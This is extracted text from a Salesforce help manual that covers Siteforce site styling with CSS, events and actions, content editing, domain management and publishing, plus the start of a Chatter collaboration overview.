Menu page elements have several components, which you can style individually by selecting your preferences in the Style drop-down list that appears. 3. In the Visual tab, apply style properties as appropriate. Alternatively, in the Code tab, you can type your CSS styles directly and click Apply. Tip: To view the style properties associated with a selected page or page element, open the Code tab of the Style pane. To remove the style properties, click Clear.

See Also:
Cascading Style Sheets Overview Creating Style Sheet Items and Groups Creating and Using CSS Style Sheets

Style Pane Properties


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

The Style pane is a visual CSS editor that lets you modify style properties, such as the background color, font size, and border style, as you work with pages and page elements.

The Background Section


Property Background Color Description Sets the element's background color. Click the color box and use the color picker to select a color, or enter a specific hexadecimal code in the text box. You can also choose from a list of colors in the Background Color drop-down list. Adds a background image to the element. Click URL and enter the image URL, or click Background Repeat to select an imported image.

Background Image

Tiles the element's background image. ensures that only one copy of the image appears. repeats the image horizontally. repeats the image vertically. tiles the image both horizontally and vertically.

2107

Styling Your Website

Style Pane Properties

Property Position

Description Specifies the position of the element's background image. To set the horizontal position of the background image, enter a value in the X text box and select a unit of measurement. Alternatively, select Left or Right in the drop-down list. To set the vertical position of the background image, enter a value in the Y text box and select a unit of measurement. Alternatively, select Top or Bottom in the drop-down list. Sets the cursor type, such as crosshair or pointer.

Cursor

The Font & Color Section


Property Font Color Description Sets the font family of the selected element. Sets the font color. Click the color box and use the color picker to select a color, or enter a specific hexadecimal code in the text box. You can also choose from a list of colors in the Color drop-down list. Sets the font size. Enter a value in the Size text box and select a unit of measurement such as em, point, or %. Alternatively, select a predefined value such as XX-Small. Select Inherit to use the same font size as the parent element (for example, the page or panel). Tip: Use relative sizes such as em or a percentage to enable your end users to resize the font size in their Web browsers.

Size

Style

Formats the element's font style. makes the font bold. makes the font bold and italic. makes the font italic. None removes existing styles. Specifies whether to render the font as small capitals. Modifies the amount of space between lines of text. Enter a value in the text box and select a unit of measurement such as pixels, percentage, or em. Select Inherit to use the same line height as the parent page element. Applies decorative effects to the element's text. For example, you could remove the underline that usually appears under hyperlinks, which is a standard CSS rule that's built in to most Web browsers. underlines the text. applies strikethrough formatting. displays a line over the text.

Font Variant Line Height

Text Decoration

2108

Styling Your Website

Style Pane Properties

Property

Description None removes existing text decoration.

Align

Aligns the text of the selected element. aligns the text to the left. aligns the text to the right. centers the text. aligns the text with both the left and right margins. Changes the capitalization of the element's text. capitalizes the first character of each word. capitalizes all characters. lowercases all characters. None removes existing capitalization formatting. Indents the first line of text of the selected page element. Enter a value in the text box and select a unit of measurement. Select Inherit to use the same indentation as the parent page element. Controls how white spaces such as spaces, tabs, and hard returns are handled inside an element.

Case

Text Indent

White Space

The Layout Section


Property Positioning Description Positions page elements outside the normal flow of the document. Usually, elements on a page are rendered in Web browsers in the order they appear in the document. Block elements such as p tags and div tags appear one beneath the other, whereas inline elements such as em, strong, and span tags are rendered next to text or each other. Absolute positions the content using the settings in the Top, Bottom, Left, and Right text boxes. Relative renders the page element in the normal layout flow, but moves the element relative to its normal position depending on the values in the Top, Bottom, Left, and Right text boxes. For example, if you set an element's left position to 20 pixels, the page element will be positioned 20 pixels further to the left. Overrides a page element's default layout behavior. For example, you can hide page elements, make block elements render inline, or make inline elements render as blocks. None hides the page element. Block displays the page element as a block-level page element, with a line break before and after the element.

Display

2109

Styling Your Website

Style Pane Properties

Property

Description Inline, which is the default setting, displays the page element as an inline page element without a line break before or after the element. Inline-block renders the page element as an inline rectangle, but with content that behaves as if it's inside a block element.

Position

When used in conjunction with the Absolute or Relative positioning options, these four properties place page elements outside the normal flow of the document. Enter a value in the text boxes as appropriate and select a unit of measurement in the respective drop-down lists. Top sets how far the top edge of an element is above or below the top edge of the parent element. Bottom determines how far the bottom edge of an element is above or below the bottom edge of the parent element. Right sets how far the top edge of an element is to the right or left of the right edge of the parent element. Left defines how far the left edge of an element is to the right or left of the left edge of the parent element. Specifies the order in which elements overlap each other when they need to be rendered in the same space. An element with a greater z-index value covers an element with a lower value. The default value is 0. Click box. and to increase and decrease the z-index, or enter a value in the text

Z-index

Float

Floats a page element to the left or right so that subsequent elementstext for examplewrap around the floating page element. floats the page element to the left. floats the page element to the right. None removes an existing float setting. Specifies whether the selected page element allows floating page elements beside it. moves the page element below any floating page element on its left. moves the page element below any floating page element on its right. moves the page element below floating page elements on either side. None removes existing float settings. Specifies whether the selected page element is visible. Visible is the default value. Hidden hides the page element and renders an invisible rectangle in its place. Collapse is used to hide table elements. (For other page elements, it has the same result as hidden.)

Clear

Visibility

2110

Styling Your Website

Style Pane Properties

Property

Description Note: Invisible page elements still occupy the same space in the page's layout.

Overflow

Specifies whether the content of a page element should be clipped when it overflows its area. Visible does not clip the content. Hidden clips the content. Scroll clips the content, but provides scroll bars so that users can view the remaining content. Auto is dependent on the browser, but should display a scroll bar to view the rest of the content.

The Dimensions Section


Property Width Description Sets the width of the selected page element. Enter a value in the Width text box and select a unit of measurement. Select Inherit to use the width of the parent page element. Sets the height of the selected page element. Enter a value in the Height text box and select a unit of measurement. Select Inherit to use the height of the parent page element. Sets the width of the page element's margin, which is the space between its border and outer edge. Set the margins for all four sides by entering a value in the All text box, or add margins to the top, right, bottom, or left sides as required. Sets the width of the page element's padding, which is the space between its content and border. Set the padding for all four sides by entering a value in the All text box, or add padding to the top, right, bottom, or left sides as required.

Height

Margins

Padding

The Borders Section


Property Type Style Color Description Specifies whether to set border properties for each side separately or for all four sides. Sets the border's style such as dashed, dotted, or double. Sets the border's color. Click the color box and use the color picker to select a color, or enter a specific hexadecimal code in the text box. You can also choose from a list of colors in the Color drop-down list. Specifies the border's thickness. Enter a value in the Thickness text box and select a unit of measurement. Alternatively, select Thin, Medium, or Thick.

Thickness

2111

Styling Your Website

Understanding the Style Sheet View in Siteforce

The Tables Section


Property Border Collapse Description When designing tables: Collapse uses a common border between cells Separate gives each cell its own border Sets the horizontal distance that separates cell borders. Enter a value in the text box and select a unit of measurement. This value is used only if Border Collapse is set to Separate. Sets the vertical spacing that separates cell borders. Enter a value in the text box and select a unit of measurement. This value is only used if Border Collapse is set to Separate.

Horizontal Spacing

Vertical Spacing

See Also:
Using the Style Pane Understanding the Style Sheet View in Siteforce Creating Style Sheet Items and Groups

Understanding the Style Sheet View in Siteforce


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

When working with style sheets, you can add style items, organize them into groups, and edit the CSS code directly. Open a style sheet on the Overview tab by double-clicking it or hovering over it and clicking > Edit. The style sheet opens as a new tab.

2112

Styling Your Website

Understanding the Style Sheet View in Siteforce

Using the toolbar (1), you can: Click New to create style items and groups, or add a CSS reset. Click Import to import a style sheet. Click Edit Style Sheet Code to edit the CSS code directly.

Using the style sheet pane (2), you can select a style item to preview and edit it, move style items and groups by dragging them to the correct location, or delete style items and groups. Using the Style Preview section (3), you can preview and manually edit a selected style item. Using the visual CSS editor (4), you can define the CSS properties for the selected style item.

See Also:
Cascading Style Sheets Overview Creating and Using CSS Style Sheets Using Siteforce Studio as a Publisher

Creating and Using CSS Style Sheets

2113

Styling Your Website

Creating and Using CSS Style Sheets

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

A default style sheet called Site Style Sheet is included with every site you create. However, if you're familiar with CSS and need multiple style sheets, you can create new ones to use in your site. To create a style sheet: 1. 2. 3. 4. Click Create a Style Sheet in the Overview tab. Enter a name for the style sheet. Click Apply. The style sheet opens. Add style items and groups to the style sheet. Note: Style sheet names can only contain alphanumeric characters, hyphens, colons, and underscores. You can also import a CSS file to use in your site.

After you create a new style sheet, you must attach it to a page to apply its styles to the page. To attach a style sheet to a page: 1. Select the page in the Page Structure pane. 2. In the Style Sheets section of the Properties pane, click 3. Attach the style sheet to the page by clicking . and select the style sheet in the list.

Tip: If you used a page template to create your site pages, the quickest way to include the new style sheet on every pages is to attach it to the template. This automatically includes a reference to the style sheet in every page that's based on the template.

See Also:
Cascading Style Sheets Overview Understanding the Style Sheet View in Siteforce

Creating Style Sheet Items and Groups

2114

Styling Your Website

Creating Style Sheet Items and Groups

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

When adding style items to style sheets, you can define CSS classes and IDs, or you can redefine the formatting of HTML tags such as body or h1. When you change the CSS style of an HTML tag, anything formatted with that tag is immediately updated.

Creating Style Items


To open a style sheet, double-click it in the Style Sheet section of the Overview tab, or hover over it and click you're very familiar with CSS and prefer coding by hand, click Edit Style Sheet Code to open the CSS editor. Alternatively: 1. Click New > Style Item. 2. Enter the name of the style item: To redefine the default formatting of a specific HTML tag, enter the HTML tag namefor example, body or h1. To create a CSS class, enter the class name and ensure that you include a period before itfor example, .classname. To create a CSS ID, enter the ID name preceded by #for example, #contentID. > Edit. If

3. Click Apply. 4. Add style definitions by either: Setting style properties in the visual style editor on the right Typing CSS styles in the text box in the Style Preview section and clicking Apply

As you modify the definition of a selected style item, you can see how your changes appear in the Style Preview section. Tip: A class name must begin with a period or it will not be recognized as a CSS class. An ID name must begin with # or it will not be recognized as a CSS ID. Use IDs when there is only one occurrence per page. Once you've used the ID, you can't use it again on that page. Use classes when there are one or more occurrences per page. Class and ID names can contain alphanumeric characters, hyphens, and underscores only, and can't begin with a number or include spaces.

Creating Style Groups


Use groups to organize your CSS logically. This makes it easier to locate and maintain styles. When the style sheet is open: 1. Click New > Style Group.

2115

Styling Your Website

Using CSS Reset

2. Enter a name for the group and click Apply. 3. To add a new style to the group, select the group and click New > Style Item. To add an existing style to the group, drag it onto the folder icon.

Assigning Style Items


After you've created styles, you can assign them to the pages and pages elements of your site. To assign a class to a page or page element, select it and either: Type the class name in the Class field of the Properties pane. Select Class in the Style pane, start typing the name, and select it in the list that appears.

To assign an ID to a page or page element, either: Type the ID name in the ID field in the Properties pane. Select ID in the Style pane and select it in the drop-down list.

See Also:
Understanding the Style Sheet View in Siteforce Creating and Using CSS Style Sheets Cascading Style Sheets Overview

Using CSS Reset


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

Every browser has set presentation defaults, but unfortunately they aren't standardized across all browser types. This means that when you use CSS to style your site, it may not render as expected when you view it in different browsers. For example, browsers differ in how they display: Unordered and ordered lists Top and bottom margins for headings Indentation distances Default line-heights

A CSS reset cancels the differences between browsers to control how browser elements are presented to the end user. You can either use Siteforce's CSS reset, or you can add your own CSS reset code. To use Siteforce's CSS reset:

2116

Using Events to Create Animated Effects

Events Overview

1. Open the style sheet by double-clicking it or hovering over it and clicking

> Edit on the Overview tab.

2. Click New > CSS Reset or hover over the style sheet and click > Insert CSS Reset. 3. Ensure the CSS reset is positioned at the top of the style sheet. To move it, drag it to the correct location in the pane on the left. To add your own CSS reset code: 1. 2. 3. 4. Open the style sheet by double-clicking it or hovering over it and clicking Click Edit Style Sheet Code to open the CSS editor. Paste the code at the top of the style sheet code. Click Save & Close. > Edit on the Overview tab.

See Also:
Creating and Using CSS Style Sheets Creating Style Sheet Items and Groups Cascading Style Sheets Overview

USING EVENTS TO CREATE ANIMATED EFFECTS


Events Overview
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Events enable you to add interactive and animated effects to the pages and page elements of your website. When an event occurssay, when a user clicks an element on the page or when the page loadsyou can specify what action (or series of actions) it should trigger. For example, when your home page loads, you could display a news bulletin popup that fades away after several seconds. Or when the user clicks a panel, you could expand the panel to reveal additional information or alter its style. The Events pane lists many common actions that you can trigger when an event occurs. Using the options here, you can specify that: When [this event] occurs, trigger [this action].

See Also:
Creating an Event Available Events and Actions Using Siteforce Studio as a Publisher

2117

Using Events to Create Animated Effects

Creating an Event

Creating an Event
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

Use events to add interactive and animated effects to the pages and page elements of your website 1. Select the relevant page or page element. 2. Select an event in the Events pane. 3. Click and select an action in the Choose an Action list that appears. See Available Events and Actions on page 2119. 4. Set the other available properties for the action, such as: Targetspecifies the page element that the action affects Effectspecifies how the action is animated, such as fade or slide. Speedsets the speed of the animation to fast, normal, slow, or very slow Chainedallows you to chain actions so they occur sequentially. For example, to create a Delay action that delays the action that follows it, select the Delay action's Chained checkbox. This indents the subsequent action underneath the Delay action, indicating that it's tied to the Delay action. Applies to the Animate, Delay, Hide Element, Repeat, Show Element, and Toggle Element actions.

5. Click Save. 6. Add more actions if required. Tip: When you add an event to a page or page element, an asterisk (*) appears beside the event in the Events pane. If you hover over on a selected page element, a tooltip appears indicating which events are associated with the element. You can also click the icon to quickly open the Events tab. . or .

To delete an action, select it and click

To change the order in which an action occurs, select it and click

See Also:
Events Overview Using Siteforce Studio as a Publisher

2118

Using Events to Create Animated Effects

Available Events and Actions

Available Events and Actions


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Choose from several event triggers and actions when you create an event.

When This Event Occurs...


Event Double click Click Focus Load Blur Mouse in Mouse out Occurs When... The user double-clicks the page element. The user clicks the page element. The focus moves to the page element. The page or page element is loaded in a browser window. The focus moves from the page element. The user moves the mouse pointer over the page element. The user moves the mouse pointer out of the page element.

Trigger This Action...


Action Add CSS Class Alert Animate Description Dynamically adds a CSS class to style the targeted item. For example, to alter the appearance of a page element, you could add a new CSS class to it. Displays a popup browser alert message. Animates CSS properties, such as Top, Left, Width, and Height, which you specify by entering appropriate values in the CSS field. For example, if targeting an image, you can enter values such as opacity: "0.4", width: "70%", which changes the image's appearance according to the speed and effect you set. Delay Execute JavaScript Hide Element Remove CSS Class Adds a delay (measured in milliseconds) before the action that follows. (Ensure you select the Chained checkbox to tie it to the subsequent action.) Runs custom JavaScript code, which you enter by clicking Edit Script to open the Custom Code Editor. Hides the targeted item according to the speed and effect you set. Removes a CSS class from the targeted item to dynamically remove its style. For example, to alter the appearance of a page element, you could remove the CSS class associated with it and replace it with another.

2119

Editing the Site Content

Creating Site Pages as a Siteforce Contributor

Action Repeat

Description Repeats the action that follows by the specified number of times, with the specified delay between each occurrence. (Ensure you select the Chained checkbox in the Properties pane to tie it to the following action.) Dynamically sets the specified attribute value of the targeted item. For example, if targeting an image, you could change the image source by entering src in the Attribute Name field and entering the image URL in the Attribute Value field. You can also add custom name/value pairs for advanced coding purposes. Reveals the targeted item according to the speed and effect you set. Submits the selected form's data. Switches the visibility of the targeted element according to the speed and effect you set.

Set Element Attribute

Show Element Submit Toggle Element

See Also:
Events Overview Using Siteforce Studio as a Publisher

EDITING THE SITE CONTENT


Creating Site Pages as a Siteforce Contributor
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To edit the content of Siteforce sites:


Siteforce Contributor User field enabled on the user

detail page

If your publisher has enabled page creation, you can add pages to your site. To add a new page: 1. Click Create a Page on the Overview tab. The button isn't available if your publisher hasn't enabled page creation. 2. Enter the page name. 3. Select a template for the page.

2120

Editing the Site Content

Editing Siteforce Pages as a Contributor

4. Click Create. The site page opens.

See Also:
Editing Content Blocks Editing Siteforce Pages as a Contributor Using Siteforce Studio as a Contributor

Editing Siteforce Pages as a Contributor


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To edit the content of Siteforce sites:


Siteforce Contributor User field enabled on the user

detail page

Open a page on the Overview tab by double-clicking it or hovering over it and clicking tab. Once open, you can:

> Edit. The page opens as a new

Edit the page text, and add images and hyperlinks by clicking Edit Content. The button isn't available if there are no editable areas on the page. Import assets, such as images and files. Preview the page in a browser window.

See Also:
Creating Site Pages as a Siteforce Contributor Adding Images to Content Blocks Adding Hyperlinks to Text and Images Adding an Anchor to a Page The Content Editing Toolbar Using Siteforce Studio as a Contributor

Editing Content Blocks

2121

Editing the Site Content

Editing Content Blocks

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites: To edit the content of Siteforce sites:
Siteforce Publisher User field enabled on the user

detail page
Siteforce Contributor User field enabled on the user

detail page

Both contributors and publishers can edit content blocks, which contain the text for site pages, and can also house images, videos, and hyperlinks. However, if you're a contributor and the Edit Content button is disabled, there are no editable areas on the page. When the page is open: 1. Click Edit Content. 2. Add or edit the text in the highlighted areas and format it using the content editing toolbar. Tip: If you copy and paste text from Microsoft Office, highlight the text and click to remove any hidden formatting, which can adversely affect how the text appears on the page. Avoid applying formatting, such as font family or size, directly to text whenever possible. Instead, use the paragraph and heading styles to quickly apply consistent formatting throughout the site. This also ensures that all page text updates automatically if a publisher modifies the site's paragraph and heading styles.

3. Add images, videos, hyperlinks, or anchors as required. 4. Click Save.

See Also:
Using Siteforce Studio as a Contributor Previewing Siteforce Sites

The Content Editing Toolbar


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Both contributors and publishers can edit content blocks, which contain the site page's text, along with images, videos, and hyperlinks.

2122

Editing the Site Content

The Content Editing Toolbar

Using the content editing toolbar, you can: Undo and redo your edits, and remove the formatting of text copied and pasted from Microsoft Office, which can often include hidden formatting (1). Cut, copy, and paste text (2). Apply direct formatting (3), such as: Font family and size Bold, italic, underline, subscript, superscript, and strikethrough Font and highlight color Control the text style and layout (4) by: Applying paragraph and heading styles Setting paragraph indentation Left-aligning, centering, right-aligning, or justifying text Inserting numbered or bulleted lists

Insert a table, and add rows, columns, and spacing (5). Add images, videos, and special characters (6). Add and remove hyperlinks and anchors (7). Tip: Avoid applying formatting, such as font family or size, directly to text whenever possible. Instead, use the paragraph and heading styles to quickly apply consistent formatting throughout the site. This also ensures that all page text updates automatically if a publisher modifies the site's paragraph and heading styles.

Adding Images to Content Blocks

2123

Editing the Site Content

Adding Images to Content Blocks

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites: To edit the content of Siteforce sites:
Siteforce Publisher User field enabled on the user

detail page
Siteforce Contributor User field enabled on the user

detail page

Both contributors and publishers can add images to the content blocks of site pages. However, if you're a contributor and the Edit Content button is disabled, there are no editable areas on the page. When the page is open: 1. Click Edit Content. 2. Position your cursor where you want to insert the image and click 3. In the Image Properties dialog box, either: .

Enter a URL to an image in the Image URL text box. Select an image from your website by clicking From Website and selecting the image in the list that appears. Upload an image from your computer by opening the Upload tab, browsing to the image, and clicking Upload.

4. Enter a brief description of the image in the Alternative text field. (The description is used by screen reader users or as a substitute if the image doesn't display. It can also help with search engine optimization (SEO). 5. Optionally, preview how the image appears in relation to the text on the page and set: The width and height of the image How much space surrounds the image (which is controlled by the HSpace and VSpace properties) How it aligns with the text on the page The image border (for example, to set a dotted green border that's 10 pixels wide, you enter 10px dotted green in the Border field)

6. Click Apply. 7. Click Save.

See Also:
Editing Content Blocks Adding an Anchor to a Page Adding Video to Content Blocks Adding Hyperlinks to Text and Images The Content Editing Toolbar Importing and Using Assets

2124

Editing the Site Content

Adding Video to Content Blocks

Adding Video to Content Blocks


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites: To edit the content of Siteforce sites:
Siteforce Publisher User field enabled on the user

detail page
Siteforce Contributor User field enabled on the user

detail page Both contributors and publishers can add YouTube, Google, Adobe Flash, Windows Media, and Apple QuickTime videos to the content blocks of site pages. However, if you're a contributor and the Edit Content button is disabled, there are no editable areas on the page. When the page is open: 1. Click Edit Content. 2. Position your cursor where you want to insert the video and click . 3. In the Video Properties dialog box, select the video type and either: Enter the URL to the video in the Video URL text boxfor example, http://www.youtube.com/watch?v=123abc. Select a video from your website by clicking From Website and selecting the video in the list that appears. Upload a video from your computer by opening the Upload tab, browsing to the image, and clicking Upload. Note: You can only select or upload Flash, Windows Media, and QuickTime videos.

4. To specify how the video is displayed on the page, you can set: The width and height of the video How much space surrounds the video (which is controlled by the HSpace and VSpace properties) How it aligns with the text on the page

You can also preview the video. 5. Click Apply. The video appears as an icon in the content block. 6. Click Save.

2125

Editing the Site Content

Adding Hyperlinks to Text and Images

Note: After you've added a video to the page, you can view it by previewing the page.

See Also:
Editing Content Blocks Adding Images to Content Blocks Adding Hyperlinks to Text and Images Adding an Anchor to a Page The Content Editing Toolbar Importing and Using Assets

Adding Hyperlinks to Text and Images


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites: To edit the content of Siteforce sites:
Siteforce Publisher User field enabled on the user

detail page
Siteforce Contributor User field enabled on the user

detail page

Both contributors and publishers can create hyperlinks to external Web pages or websites, to the pages and assets in a site, to email messages, or to anchors that were added to the page. However, if you're a contributor and the Edit Content button is disabled, there are no editable areas on the page. When the page is open: 1. Click Edit Content. 2. Select the text or image that you want to add a hyperlink to and click . 3. Select the link type in the Create a link to drop-down list. To create a link to: An external Web page or website, select A URL, choose the protocol, and type the address in the URL fieldfor example, http://www.externalsite.com. Go to step 4. A page or item in your site, select An item in your site, choose the item type (such as a PDF file), select the item in the drop-down list that appears, and go to step 4. An anchor that you previously added to the page, select An anchor on the page, and select the anchor in the drop-down list. Alternatively, enter a new anchor name and create the anchor afterwards. Go to step 5. An email message, select An email, enter the recipient's address and the message information, and go to step 5.

4. To select which window the file should open in, select an option in the Target drop-down list:

2126

Editing the Site Content

Adding an Anchor to a Page

New window (_blank) loads the linked file into a new, unnamed browser window. Same window (_self) loads the linked file into the same frame or window as the link. This is the default setting. Topmost window (_top) loads the linked file into the topmost parent frameset or window of the frame that contains the link. Parent window (_parent) loads the linked file into the parent frameset or window of the frame that contains the link. Popup window loads the linked file into a popup window. When you select this option, you can set the title for the popup and control its appearance and size with the options that appear.

5. Optionally, enter a tooltip description for the link. 6. Click Apply. 7. Click Save. To delete a hyperlink, select it and click .

See Also:
Editing Content Blocks Adding an Anchor to a Page Adding Images to Content Blocks Adding Video to Content Blocks The Content Editing Toolbar

Adding an Anchor to a Page


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites: To edit the content of Siteforce sites:
Siteforce Publisher User field enabled on the user

detail page
Siteforce Contributor User field enabled on the user

detail page

Anchors let you create hyperlinks that jump to specific locations on a page, which can be useful if a page is particularly long. Both contributors and publishers can add anchors to page text. However, if you're a contributor and the Edit Content button is disabled, there are no editable areas on the page. When the page is open: 1. Click Edit Content. 2. Place the cursor in the required position and click 3. Enter the anchor name and click Apply. .

2127

Editing the Site Content

Previewing Siteforce Sites

4. Create a hyperlink to the anchor.

See Also:
Editing Content Blocks Adding Hyperlinks to Text and Images Adding Images to Content Blocks Adding Video to Content Blocks The Content Editing Toolbar

Previewing Siteforce Sites


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites: To edit the content of Siteforce sites:
Siteforce Publisher User field enabled on the user

detail page
Siteforce Contributor User field enabled on the user

detail page

Both contributors and publishers can preview site pages to see how they look when rendered in a browser window. It's always a good idea to make sure your changes are displayed correctly, as this is how the pages appear on the live site. If you're a publisher, you can also create an anonymous preview URL that allows other users to review the site before it goes live. The URL is always valid (unless you disable it) and shows the latest work in progress. Click Preview on the toolbar of the Overview tab to view the entire site. From the Preview menu, you can also: Click Preview Site in a New Tab to view the site in a new tab in the existing browser window. Click Preview Site at 1024 x 768 to view the site as it appears to laptop users. Click Enable Anonymous Preview, if you're a publisher, to create a URL that allows other users to preview the site before it goes live. Click the View Anonymous Preview option that appears in the Preview menu to access the preview URL, which you can copy and send to other users to review and test your changes. Enable Anonymous Preview is also available in the Site Properties dialog. Hover over a page on the Overview tab and click > Preview to view a single page. Click Preview on the toolbar when editing a page. Click Preview beside a site on the Sites home page to view the entire site.

When you preview pages, all browser-related functions should work.

2128

Managing Domains and Live Sites

Managing Domains in Siteforce

Note: During preview only, style sheets are rendered as inline styles.

See Also:
Using Siteforce Studio as a Publisher Using Siteforce Studio as a Contributor

MANAGING DOMAINS AND LIVE SITES


Managing Domains in Siteforce
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

Before you can publish your site to the Internet, you must set the site's domain information. Each sites qualified domain name must be unique. 1. Create a branded, custom Web address, such as http://www.mycompany.com, by registering through a domain name registrar. Create a CNAME record that points your branded domain and subdomain to the same name with a live.siteforce.com suffix. For example, www.mycompany.com must point to www.mycompany.com.live.siteforce.com. Note: It can take up to 48 hours for the domain changes to become available on the Internet.

2. Click Manage Domains... on the Overview tab. 3. Enter the domain name in the text box providedfor example, mycompany.comand click Add. 4. Repeat for any additional domain names. For example, you might want to include common misspellings of the domain name in case users make typing mistakes. Every entry in the Manage Domains dialog box must have a corresponding CNAME record. 5. Click OK to save your changes.

2129

Managing Domains and Live Sites

Publishing Site Changes

Note: When you update existing domain information, you must publish your changes for them to take effect. If you see a message that there are no changes to publish, first update a page in your site and then publish your changes.

See Also:
Publishing Site Changes Taking Your Site Offline Using Siteforce Studio as a Publisher

Publishing Site Changes


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

Before you can publish your site to the Internet, first set the site's domain information. To publish site changes: 1. 2. 3. 4. Click Publish Changes.... Review the list of modified files to ensure that you're ready to publish all of the files. Click Publish. Click Close.

The system sends an email notification when your changes are live on the site. Note: When you publish or update a site, the combined size of files you're publishing can't exceed 70 MB.

See Also:
Taking Your Site Offline Using Siteforce Studio as a Publisher

Taking Your Site Offline

2130

Managing Domains and Live Sites

Taking Your Site Offline

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

To take a site offline, you must remove the domain information associated with the site. 1. 2. 3. 4. Click Manage Domains... on the Overview tab. Click Delete beside each domain entry to remove it. Click Accept. Publish your changes. Note: When you update existing domain information, you must publish your changes for them to take effect. If you see a message that there are no changes to publish, first update a page in your site and then publish your changes.

See Also:
Managing Domains in Siteforce Using Siteforce Studio as a Publisher

2131

COLLABORATING WITH CHATTER

Chatter Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo on Finding What You Need in Chatter (2:58 minutes) Chatter is a collaboration application that helps you connect with coworkers inside your Salesforce organization and share business information securely and in real time. Additionally, you can invite coworkers without Salesforce licenses to join Chatter. Invited users can view profiles, post on their feed, and join groups, but can't see your Salesforce data or records. Chatter works in accordance with all of the security and permission settings in your Salesforce organization. Chatter is enabled by default for organizations created after June 22, 2010. For existing organizations, you must enable Chatter. Use Chatter to share information and learn about your colleagues with profiles, connect with people using groups, and use feeds to keep up with the latest record updates. You can easily find the Chatter People, Groups, and Files lists on the Chatter tab. You can also find those tabs, and the Profile tab, in the Chatter app, available in the app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you'll see the tabs in those apps unless you previously customized your display. In that case, you'll need to add the tabs to those apps. Some third-party Web browser plug-ins and extensions can interfere with the functionality of Chatter. If you experience malfunctions or inconsistent behavior with Chatter, disable all of the Web browser's plug-ins and extensions and try again. Chatter is not supported: Using Microsoft Internet Explorer version 6.0 For portal users In the Console tab

Chatter includes limits on: The length of time posts, comments, and tracked field changes are stored on the Salesforce servers The number of posts, comments, and tracked field changes available in the Chatter feed The number of email notifications that can be sent per organization per hour

These limits are subject to change at any time. Contact salesforce.com for more information.

Chatter Terminology
The following terminology is used for Chatter: Chatter Favorite Chatter favorites are shortcuts to the latest posts and comments for topics and Chatter feed searches. Add Chatter favorites from the Chatter feed search results page to your Chatter tab.

2132

Collaborating with Chatter

Chatter Overview

Chatter Feed A list of recent activities in Salesforce. Chatter feeds display: On the Chatter or Home tab, where you can see your updates, status updates of people you follow, and updates to records you follow and groups you're a member of On profiles, where you can see updates made by the person whose profile you're viewing On records, where you can see updates to the record you're viewing On Chatter groups, where you can see updates to the group you're viewing

Chatter Group Chatter groups let you share information with specific people. For example, if you're working on a project and want to share information only with your team members, you can create a Chatter group for your team. Chatter groups include a list of members, a Chatter feed, and a photo. You can create the following types of Chatter groups: Public: Anyone can see the group's updates, but only members can post updates. Anyone can join a public group. Private: Only members can see and post updates. The group's owner or managers must add members.

Comment, Chatter A reply to an update in a Chatter feed. Feed Attachment, Chatter A feed attachment is a file or link that is attached to a post in a Chatter feed. Feed Tracking, Chatter Administrator settings that determine which records can be followed and which fields can be tracked in Chatter feeds. Enabling an object for feed tracking allows people to follow records of that object type. Enabling fields for feed tracking allows users to see updates on the Chatter feed when those fields are changed on records they follow. File Collaborator Users with the collaborator permission can view, download, share, change permission, edit the file, and upload new versions of files in Chatter. File Owner Files owners can view, download, share, change permission, edit the file, upload new versions of files, make files private, and delete files in Chatter. You own a file in Chatter when you: Upload a file on the Files tab Attach a file to a feed in Chatter Upload a file in Salesforce CRM Content

File, Private A private file in Chatter is indicated by the private icon ( ) and is only available to the file owner and isn't shared with anyone. A private file is created when you upload a file on the Files tab or contribute a file to a Salesforce CRM Content personal library. You own files you upload or contribute. File, Privately Shared A privately shared file in Chatter is indicated by the privately shared icon ( and the specific people or groups it has been shared with. ) and is only available to the file owner

2133

Collaborating with Chatter

Chatter Overview

